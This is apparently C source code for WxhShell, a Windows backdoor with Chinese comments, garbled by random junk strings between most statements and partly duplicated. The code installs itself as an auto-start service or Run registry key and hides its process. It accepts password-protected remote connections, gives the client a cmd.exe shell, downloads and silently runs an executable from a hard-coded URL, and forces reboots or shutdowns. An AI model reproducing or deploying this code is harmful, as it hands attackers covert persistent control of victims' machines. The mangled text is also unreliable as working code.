='rc-E } PROCESS_BASIC_INFORMATION; u -;_y='m xfpa]Z PROCNTQSIP NtQueryInformationProcess; >d,jKlh^.% 6{"$nF] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v{(^1cX static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;*Ivn@L GO__$%~ HANDLE hProcess; N"" BCh" PROCESS_BASIC_INFORMATION pbi; o$#G0}yn =osv3>&q HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +?:7O=Y if(NULL == hInst ) return 0; *QwY]j%^ }\%Fi/6Z{ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F ~^Jmp7Y g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,eTUhK NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lwrCpD. S<VSn}vn if (!NtQueryInformationProcess) return 0; UmKI1l f|B=_p80 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cl]Mi
"3_ if(!hProcess) return 0; %/|9@e r :pGaFWkvO if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M-1ngI0H; P!H_1RwXKC CloseHandle(hProcess); 2nSSFx r F({HP)9b hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g]4(g<:O
if(hProcess==NULL) return 0; }|g\ 8jq zG ^$"f2 HMODULE hMod; 43mP]*=A char procName[255]; ,cB\ unsigned long cbNeeded; vR s,zL$W d/[;
`ZD+ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SZ,YS
4M wN;^[F CloseHandle(hProcess); 3QG7C{ \P.I)n`8 y if(strstr(procName,"services")) return 1; // 以服务启动 ` :o4'CG _H j!2 ' return 0; // 注册表启动 RloK,bg } .NYbi@bk(< 7]blrN] // 主模块 | # 47O int StartWxhshell(LPSTR lpCmdLine) H."EUcE{ { f"%{%M$K SOCKET wsl; -_1>C\h" BOOL val=TRUE; tasUZ#\6 int port=0; _F$aUtb%O struct sockaddr_in door; .^h#_[dp mj9 <%P if(wscfg.ws_autoins) Install(); ] Hzt b (NF~Ck$#q port=atoi(lpCmdLine); AaWs}M %-c*C $ if(port<=0) port=wscfg.ws_port; ,N!o orWbU
UC WSADATA data; ?}kG`q if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]sE?ezu ?u "
4@ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; AlAY iUw{ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *Zt#U# door.sin_family = AF_INET; ;\14b?TUH door.sin_addr.s_addr = inet_addr("127.0.0.1"); }a/x._[s door.sin_port = htons(port); :lf+W ?~hHGf\^b6 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D-5VC9{ closesocket(wsl); _j< K=){ return 1; L"o>wYx } ??M"6k {>DEsO if(listen(wsl,2) == INVALID_SOCKET) { eHn7iuS8 closesocket(wsl); ,
udTvI return 1; gcdlT7F)b- } y5*Z3"< Wxhshell(wsl);
h*w%jdQ6 WSACleanup(); &jslyQ# y5?RVlKJ return 0; 7UVzp v `(_s|-$ } .Le?T&_ /OLFcxEWh // 以NT服务方式启动 ca7=V/i_a{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IC1NKn<k { $$Oey)* DWORD status = 0; WvBc#s- DWORD specificError = 0xfffffff; x4;"!Kq\ A OISs4 serviceStatus.dwServiceType = SERVICE_WIN32; bdC8zDD serviceStatus.dwCurrentState = SERVICE_START_PENDING; DW5Y@;[
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y9q8i(E0 serviceStatus.dwWin32ExitCode = 0; oSyyd serviceStatus.dwServiceSpecificExitCode = 0; j|U#)v/ serviceStatus.dwCheckPoint = 0; r'^Hg/Jzt serviceStatus.dwWaitHint = 0; zsX1 QN16 *>|gxM8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gtk7)Uh if (hServiceStatusHandle==0) return; ^p[rc@+ 'gC_)rK* status = GetLastError(); /?@3.3sl_ if (status!=NO_ERROR) %E#s\B,w { fVF2-Rh= serviceStatus.dwCurrentState = SERVICE_STOPPED; Sdt`i serviceStatus.dwCheckPoint = 0; =G7m)! serviceStatus.dwWaitHint = 0; ok!L.ac serviceStatus.dwWin32ExitCode = status; .
$BUw serviceStatus.dwServiceSpecificExitCode = specificError; a%kQl^I4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); "e.jZcN* return; (7*%K&x } 1_9<3,7 &dM.
d! serviceStatus.dwCurrentState = SERVICE_RUNNING; N5Q[n d serviceStatus.dwCheckPoint = 0; LAB=Vp1y3[ serviceStatus.dwWaitHint = 0; ,K9*%rW) if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G`cHCP_n } W42iu"@ /N =b\-] // 处理NT服务事件,比如:启动、停止 fmU { VOID WINAPI NTServiceHandler(DWORD fdwControl) h2Ld[xvCu% { J] {QB^? switch(fdwControl) L2\#w<d { r_
I5.gK case SERVICE_CONTROL_STOP: A\4D79>x serviceStatus.dwWin32ExitCode = 0; ^E;kgED5 serviceStatus.dwCurrentState = SERVICE_STOPPED; >_[9t serviceStatus.dwCheckPoint = 0; Bt@^+vH ~ serviceStatus.dwWaitHint = 0; wPQH(~k: { |2O]R s SetServiceStatus(hServiceStatusHandle, &serviceStatus); (SpX w,: } -`'I{g&A return; r)y=lAyF> case SERVICE_CONTROL_PAUSE: e>6y%v; serviceStatus.dwCurrentState = SERVICE_PAUSED; [w0QZyUn break; .c8g:WB< case SERVICE_CONTROL_CONTINUE: pmuvg6@h serviceStatus.dwCurrentState = SERVICE_RUNNING; MqW7cjg break; @5N]ZQ9 case SERVICE_CONTROL_INTERROGATE: !hJ+Lp_ break; ZInpMp }; \hTm)-FP SetServiceStatus(hServiceStatusHandle, &serviceStatus); |,S+@"0# } gwLf ' /Lfm&; // 标准应用程序主函数 ni.cTOSx int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gZN8!#h}B { ]OM"ZG/^ /KFfU1 // 获取操作系统版本 9+j0q% OsIsNt=GetOsVer(); @Xt*Snd GetModuleFileName(NULL,ExeFile,MAX_PATH); Kz~ps
5 "Lzi+1 // 从命令行安装 <fZyAa3} if(strpbrk(lpCmdLine,"iI")) Install(); yMG1XEhuG 8m-U){r!U^ // 下载执行文件 6c}h(TkB if(wscfg.ws_downexe) { Z/W:97M if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IbT=8l,Li WinExec(wscfg.ws_filenam,SW_HIDE); i`(XLi}k } "i
nd$Z`c Dt}JG6 S if(!OsIsNt) { MX$0Op // 如果时win9x,隐藏进程并且设置为注册表启动 E%yNa]\P HideProc(); ynq}76 H0k StartWxhshell(lpCmdLine); m}C>ti`VD } `nUXDmdwzO else vUN22;Z\ if(StartFromService()) L5Ebc# // 以服务方式启动 aT{_0m$G10 StartServiceCtrlDispatcher(DispatchTable); MDnKX?Y else ?Y$JWEPJ // 普通方式启动 pM+ AjPr StartWxhshell(lpCmdLine); \MA+f~)9 QiQ_bB!\ return 0; c?tBi9'Y] } 6@Y_*4$| &:;:"{t}Do A0/"&Ag] V_R@o3kv; =========================================== ];VA!++ iIvc43YV% *M[?bk~~ O[\iE5+$ r(6Y*< @fHi\W2JG " QCD.YFM /'Ass(=6 #include <stdio.h> Z 6t56"u #include <string.h> Umz KY #include <windows.h> p2Z?T}fa}& #include <winsock2.h> <C_jF #include <winsvc.h> ^?-:'<4q$ #include <urlmon.h> @GPCwE1 61Bwb]\f/| #pragma comment (lib, "Ws2_32.lib") Mz9r5 #pragma comment (lib, "urlmon.lib") 18)'c?^. /1Qr#OJ(] #define MAX_USER 100 // 最大客户端连接数 H7?Vy bg~ #define BUF_SOCK 200 // sock buffer i)o2klIkB #define KEY_BUFF 255 // 输入 buffer &D>G8 3oBtP<yG. #define REBOOT 0 // 重启 }v@dL3{f #define SHUTDOWN 1 // 关机 NC8t)
X7 Um} #define DEF_PORT 5000 // 监听端口 \(3y7 D aKV$pC<[o #define REG_LEN 16 // 注册表键长度 9"@\s$
OBk #define SVC_LEN 80 // NT服务名长度 <>n0arAn xVf|G_5$ // 从dll定义API IrR7"`.i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &LmJ!^# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <m!h&_eg typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \n" {qfn`r typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4qN{n#{+] Y_Eb'*PY // wxhshell配置信息
bo<~jb{ struct WSCFG { ZWii)0'PV int ws_port; // 监听端口 >lmi@UN|k char ws_passstr[REG_LEN]; // 口令 IW)()*8;/ int ws_autoins; // 安装标记, 1=yes 0=no Gn22<C/ char ws_regname[REG_LEN]; // 注册表键名 7@#>bE6 char ws_svcname[REG_LEN]; // 服务名 JBD7h5|Lc char ws_svcdisp[SVC_LEN]; // 服务显示名 "C?#SO
B char ws_svcdesc[SVC_LEN]; // 服务描述信息 <z+t,<3D char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7@C<oy_bb int ws_downexe; // 下载执行标记, 1=yes 0=no lackB2J9 A char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9Q
-HeXvR char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T`/AY?# IWBX'|}K }; 6T>mW#E& MtM%{=&_ // default Wxhshell configuration sJ\BF struct WSCFG wscfg={DEF_PORT, 6f;fx}y "xuhuanlingzhe", `+`Z7 1, +O'3|M "Wxhshell", ,t}vz 7 "Wxhshell", ^m
L@e'r "WxhShell Service", d; [C6d "Wrsky Windows CmdShell Service", PEN\-*Pv "Please Input Your Password: ", <
|e,05aM 1, ~Xr=4V:a+ "http://www.wrsky.com/wxhshell.exe", 2C2fGYu "Wxhshell.exe" liEPCWl& }; -VZ-<\uH L%">iQOG# // 消息定义模块 ?m![Pg% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dCb`xR} char *msg_ws_prompt="\n\r? for help\n\r#>"; WJ)z6m] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /{|EAd{ char *msg_ws_ext="\n\rExit."; A+HF@Uw}^ char *msg_ws_end="\n\rQuit."; rMXN[,|v char *msg_ws_boot="\n\rReboot..."; xrlmKSPa char *msg_ws_poff="\n\rShutdown..."; Rn#KfI:{ char *msg_ws_down="\n\rSave to "; PEc,l>u9 DvME1]7) char *msg_ws_err="\n\rErr!"; _a_7,bk5 char *msg_ws_ok="\n\rOK!"; 4B=2>k Z,`iO%W char ExeFile[MAX_PATH]; b6W2^tr- int nUser = 0; lT4Hn;tnN HANDLE handles[MAX_USER]; ygOd69 int OsIsNt; ktI/3Mb@ ekI2icD SERVICE_STATUS serviceStatus; Z1zVwHa_ SERVICE_STATUS_HANDLE hServiceStatusHandle; pa#d L!J 9F6F~::l} // 函数声明 NxSu3e~PS int Install(void); vQ<90ZxqB int Uninstall(void); C?ulj9=Z int DownloadFile(char *sURL, SOCKET wsh); Xm+8 int Boot(int flag); 7:Ax(El void HideProc(void); rxr{/8%f% int GetOsVer(void); :!/gk8F|dI int Wxhshell(SOCKET wsl); -DxL 0:E void TalkWithClient(void *cs); g wz7krUTe int CmdShell(SOCKET sock); tcI}Ca>u int StartFromService(void); d\ %WgH int StartWxhshell(LPSTR lpCmdLine); =PUt&`1.a W-Fu -Cz= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6Z#\CixG VOID WINAPI NTServiceHandler( DWORD fdwControl ); JB ZUv )v]/B+ // 数据结构和表定义 =81@o,1w SERVICE_TABLE_ENTRY DispatchTable[] = QF-LU
{ .udv"?!z {wscfg.ws_svcname, NTServiceMain}, pX/n)q[ {NULL, NULL} h8 'v d3 }; ex+\nD>t4 2LNRtW* // 自我安装 FvN<<&B int Install(void) I96Ci2)m { o8zy^zN$6 char svExeFile[MAX_PATH]; bfA=3S"0 HKEY key; /D5` strcpy(svExeFile,ExeFile); I<Ksi~*i <cZGxff01 // 如果是win9x系统,修改注册表设为自启动 $KUos+% if(!OsIsNt) { BJgW,huLy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6&DX] [G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $"dR
SysB RegCloseKey(key); =1O<E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d}LR l" _n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s"9`s_p`d RegCloseKey(key); LVc4CE
f return 0; fLDg~;3
} RaWG w } \\{J'j>{f } _$wmI/_JM else { ixW@7m smdZxFl // 如果是NT以上系统,安装为系统服务 Jg]'+>,J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y;t6sM@ if (schSCManager!=0) A,V\"KU { AX?fuDLs SC_HANDLE schService = CreateService v^)bhIPe; ( AjJURn0`,! schSCManager, ]?Fi$3Lm wscfg.ws_svcname, hX`hs-*qM wscfg.ws_svcdisp,
c1$ngH0 SERVICE_ALL_ACCESS, 1z&Ly3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6(]tYcC
SERVICE_AUTO_START, CbPuoOl SERVICE_ERROR_NORMAL, Pt@%4 :&-h svExeFile, OkCQ?] NULL, >$ NDv NULL, q(zJ%Gv) NULL, Z4A!U~ NULL, txZ?=8j_Y NULL R)M_|ca ); k% sO 0 if (schService!=0) t~E<j+<2B { |\n@3cIK CloseServiceHandle(schService); P6 ;'Sza CloseServiceHandle(schSCManager); 1G0fp:\w strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Nru7(ag1~ strcat(svExeFile,wscfg.ws_svcname); s:2|c]wQ#R if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DHw&+MY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ybeKiv9 RegCloseKey(key); >iOzl wmG return 0; oEx\j+}@n } v~T7` } ew;ur? CloseServiceHandle(schSCManager); 4B4Z])$3 } Vo9F } n:0}utU4 '8fk+>M return 1; ~`GhS<D } ZT[3aXS K]qM~v<A // 自我卸载 [97KBoSU int Uninstall(void) s-Aw<Q)d { +vNZW@_$D HKEY key; 9prU+9 YXU|h if(!OsIsNt) { q;fKcblKj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fhv2V,nZ< RegDeleteValue(key,wscfg.ws_regname); '=E3[0W RegCloseKey(key); Tzt ,/e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yJsH=5A RegDeleteValue(key,wscfg.ws_regname); c(U RegCloseKey(key); 8K;Y2
# return 0; 2[B4f7 } "c(Sysl.L } `:wvh( } zf.-I else { 9Ew7A(BG_3 fa&-. * SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FZ|CqD"# if (schSCManager!=0) `^(jm { >tG+?Y'{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y4F6qyP)" if (schService!=0) MlJVeod { '~ 4pl0TWc if(DeleteService(schService)!=0) { EQIUSh)M CloseServiceHandle(schService); g7CXlT0Q6 CloseServiceHandle(schSCManager); KECElK3uj return 0; _Cy:]2o } Bi~:>X\[^6 CloseServiceHandle(schService); Z,c,G2D } h{}mBQl CloseServiceHandle(schSCManager); 8L5!T6+D& } {ub/3Uh } ~=&t 0D '
)-M\'S$E return 1; \OC6M` / } F?u^"}%Fc !r+IXuqV,! // 从指定url下载文件 w%c int DownloadFile(char *sURL, SOCKET wsh) K"<*a"1I { sT1&e5`W HRESULT hr; tZ2K$!/B char seps[]= "/"; h?UVDzI!O char *token; XM|%^ry char *file; }:z5t,u6 char myURL[MAX_PATH]; +m,!e*g char myFILE[MAX_PATH]; [m'CR 4(| 8I+d)(: strcpy(myURL,sURL); +VU4s$w6 token=strtok(myURL,seps); Gzt=u"FV while(token!=NULL) Ep ~wWQh { kw,$NK' file=token; Qbeeq6 token=strtok(NULL,seps); Qu%D } wH"kk4^ Bmo$5$ GetCurrentDirectory(MAX_PATH,myFILE); \k.vN@K# strcat(myFILE, "\\"); r;iV$Rq! strcat(myFILE, file); $v}<' send(wsh,myFILE,strlen(myFILE),0); {UH9i'y:t send(wsh,"...",3,0); $T }Tz7( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UQd6/mD`e if(hr==S_OK) GlR~%q-jiQ return 0; 0y%L-:/c| else tkuc/Z/@ return 1; dEp/dd~(& MonS hIz
} 2H[)1|]l SFjU0*B$ // 系统电源模块 .Gb+\E{M int Boot(int flag) S|R|]J| { +nZRi3yu= HANDLE hToken; \&A+s4c") TOKEN_PRIVILEGES tkp; i(HByI Rt=
X%[YL if(OsIsNt) { <>4!XPo%J OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D\]&8w6& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'M'w,sID tkp.PrivilegeCount = 1; (;6s)z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C?H{CP AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WPY8C3XO if(flag==REBOOT) { t]m!ee8*X< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q#1X[A() return 0; 9NIy# } ++92:decM else { &?a.mh/8[[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5RA<Z. return 0; !p%@Deu } 6S*zzJ.0K } Hc!!tbBQ else { mC(u2 if(flag==REBOOT) {
\ sf! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SWoEt1w return 0; pv$tTWk } mrnxI#6 else { \JU ~k5j if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GAJ~$AiwHH return 0; oMTY)`me } D=w9cKa } Z% Z"VoxH oYq,u@oM return 1; @f=RL)$| } </w7W3F cHn;}l!I // win9x进程隐藏模块 X\G)81Q.S void HideProc(void) %<S7 { e 2*F;.) ZKsQ2"8{M HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,^+#M{Z if ( hKernel != NULL ) oQBiPN+v.3 { (6#M9XL pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c9|a$^I6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p5qx=p~c FreeLibrary(hKernel); 77_g}N } s;>VeD)*) w&+\Wo;([b return; x?>!UqgkY } 49y*xMn ._K$0U! // 获取操作系统版本 45r|1<R o int GetOsVer(void) .r6YrB@[' { !SN WB OSVERSIONINFO winfo; Z_jn27AC winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ${0%tCE GetVersionEx(&winfo); johmJLC if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7Ff?Ysr return 1; J{^n=X9M0J else IKtiR8 return 0; 8q{1E];:q } '@S,V/jy0z UJ9q-r // 客户端句柄模块 haik int Wxhshell(SOCKET wsl) "h`54}0 { be_C>v SOCKET wsh; u[:
P struct sockaddr_in client; <Q\H DWORD myID; M@5KoMsB9 lbG}noqb while(nUser<MAX_USER) D'85VZEFyo { a5>)?m int nSize=sizeof(client); nxf{PbHk wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SAQs{M if(wsh==INVALID_SOCKET) return 1; mC%%)F'Zf }^IwQm*i handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T^+1rG if(handles[nUser]==0) .O;!W<Ef$ closesocket(wsh); /bu'6/!` else ;7wwY$PBH nUser++; 65;|cmjv } pqkcf\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A-X 5>N6VeM return 0; JgxE|#*7U } ]VzqQ=U% @*bvMEE // 关闭 socket (QA-"9v#i, void CloseIt(SOCKET wsh) g&|4 { 3$MYS^D closesocket(wsh); j{-mQTSD nUser--; wxH(&CB-{ ExitThread(0); o(?VX`2" } E~rs11 k,
$I59 // 客户端请求句柄 Z TN:|IKT void TalkWithClient(void *cs) 3D]2$a_d { %kFTnXHK j` [#Ij SOCKET wsh=(SOCKET)cs; R-=_z6< char pwd[SVC_LEN]; ;"d?_{>7 char cmd[KEY_BUFF]; CpUI|Rs char chr[1]; E.?E~}z int i,j; MLkL.1eGSb ?|%\<h@; while (nUser < MAX_USER) { Xtu: +Q@/F~1@6@ if(wscfg.ws_passstr) { I}6DoLbV if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3bT6W,J4T //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sb@{f<3E //ZeroMemory(pwd,KEY_BUFF); fW_}!`: i=0; B2ek&<I7N while(i<SVC_LEN) { p?J~' vjOG?- // 设置超时 mB{&7Rb0 fd_set FdRead; *F26}q struct timeval TimeOut; 5Z4(J?n FD_ZERO(&FdRead); c+,7Zu! FD_SET(wsh,&FdRead); lpM>}0v TimeOut.tv_sec=8; ]Ssw32yn TimeOut.tv_usec=0; iBGSBSeL& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U}A|]vi@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @%I_&!d *G2)@0
{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); reqfgNg pwd=chr[0]; jc%{a*n"vr if(chr[0]==0xd || chr[0]==0xa) { s2(w#n) pwd=0; I]uOMWZs break; FqT,4SIR } Zq\RNZ} i++; j#Ky0+@V } &;~2sEo, XEvGhy# // 如果是非法用户,关闭 socket
d'Ik@D]I if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T!^?d5uW# } zAkc67: a=:{{\1o send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?d>P+). send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *MnG-\{j 20Cie
q while(1) { g "K#& ]]h:#A2 ZeroMemory(cmd,KEY_BUFF); (.@p4q Q- 9QX~aX // 自动支持客户端 telnet标准 aUIc=Z j=0; 6`s%%v while(j<KEY_BUFF) { $p}~,Kp/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AihL>a% cmd[j]=chr[0]; 9J2q`/6~e if(chr[0]==0xa || chr[0]==0xd) { 'Tru?y\ cmd[j]=0; =jV%O$Fx break; #pDGaqeX } U&]p!DV&; j++; UpszCY4 } w
~L\Ebg :9!0Rm // 下载文件 \AtwO if(strstr(cmd,"http://")) { U Qi^udGFD send(wsh,msg_ws_down,strlen(msg_ws_down),0); syC"eH3{ if(DownloadFile(cmd,wsh)) QNa}M{5>h send(wsh,msg_ws_err,strlen(msg_ws_err),0); VM2@{V/=~ else QGbD=c7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S$lmEJ_ } ?N!j.E4= else { n6!Ihip$ <zDw&s2 switch(cmd[0]) { yd2qf P8,{k // 帮助 uVuToMCp case '?': { {OhkuON send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4QKE{0NE break; ?k:])^G5 } \'LC C- // 安装 J!
6z case 'i': { E_'n4@}Cx if(Install()) aWsKJo>j[# send(wsh,msg_ws_err,strlen(msg_ws_err),0); |YGiATD4DG else _!^FW% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mN'9|`>V> break; :56lzsWUE< } ;~@PYIp // 卸载 ^<
/vbF case 'r': { iUG/ if(Uninstall()) J,=E5T}U^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,^IZ[D>u) else dzv,)X send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dYqDL<se/I break; Tvx8l
m' } -L 'K // 显示 wxhshell 所在路径 wIR[2&b case 'p': { o27`g\gDR, char svExeFile[MAX_PATH]; ^$Io;*N4 strcpy(svExeFile,"\n\r"); '
bw, K* strcat(svExeFile,ExeFile); i+x6aQ24 send(wsh,svExeFile,strlen(svExeFile),0); XsN#<"f;i break; --%2=.X= } :*Ggz| // 重启 OI}HvgV^! case 'b': { vlN. OQ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "A1yqK if(Boot(REBOOT)) W>|b98NPu send(wsh,msg_ws_err,strlen(msg_ws_err),0); B*iz+"H else { 2V"gqJHv closesocket(wsh); >hL'#;:f# ExitThread(0); e/Oj T } p;t!"I:`? break; -Us% g } 2[YD& // 关机 Z%9^6kdY case 'd': { OK J%M]< send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w@ylRq if(Boot(SHUTDOWN)) h-rj send(wsh,msg_ws_err,strlen(msg_ws_err),0); e&4wwP"`< else { P"~T*Qq-R closesocket(wsh); Lpbn@y26< ExitThread(0); kZ[yv } E0Y/N? break; ,$qs9b~ } Jc?ssm\% // 获取shell rtF6Lg case 's': { fvM3.P CmdShell(wsh); +sl uu!~ closesocket(wsh); JI,hy
<3l0 ExitThread(0); RTY4%6]O break; BrcXn@tl } >T^v4A // 退出 [=1?CD case 'x': { wEc5{ b5M send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eRy'N|' CloseIt(wsh); FH21m wV break; BF[?* b } 9k^=m)yS' // 离开 64>[pZF8 case 'q': { P1 >X5: send(wsh,msg_ws_end,strlen(msg_ws_end),0); )-"L4TC) closesocket(wsh); /)4r2 x WSACleanup(); uPv?Hq exit(1); gj;G:;1m break; Qu\l$/ } :Qp/3(g e } &LQab>{*K } {$:13AnK 3'e 4{ // 提示信息 I_*>EA if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,VsCRp } M%^laf } r8>?-P
DkKD~ return; .T-p]9*p } p&l:937 .Awq( // shell模块句柄 Z[bC@y[Wb int CmdShell(SOCKET sock) ~At.V+ { S$On$]~\" STARTUPINFO si; tp2 _OQAQ ZeroMemory(&si,sizeof(si)); L1 VTq9[3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; += ~}PF si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^v|!(h\ZC PROCESS_INFORMATION ProcessInfo; BniVZCct char cmdline[]="cmd"; 1&"1pH CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vJUB; hD return 0; rep"xV&|>o } #8OqX*/ Lpf=VyqC // 自身启动模式 Qf]!K6eR int StartFromService(void) :|3C-+[ { RR=l&uT typedef struct 1dsxqN(: { lGhUfhk DWORD ExitStatus; wJkkc9Rh'( DWORD PebBaseAddress; n#/m7 DWORD AffinityMask; 9Bw"VN]W DWORD BasePriority; &W!@3O{~. ULONG UniqueProcessId; ix`x dVj` ULONG InheritedFromUniqueProcessId; Mv=;+?z! } PROCESS_BASIC_INFORMATION; rRel\8 O9)8a] PROCNTQSIP NtQueryInformationProcess; M6!brj\[| b] V=wZ
o static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;A!i V| static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RUu'9#fq B=`! HANDLE hProcess; {piS3xBi PROCESS_BASIC_INFORMATION pbi; r
|/9Dn% 0fU>L^P_? HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IA` if(NULL == hInst ) return 0; JN)t'm[kyE (p!AX<=z g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tm? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PQr
N";+ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8<!9mgh EMbsKG if (!NtQueryInformationProcess) return 0; ;7>--_?= qW^l2Jff hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [4yQ-L)]e if(!hProcess) return 0; -X
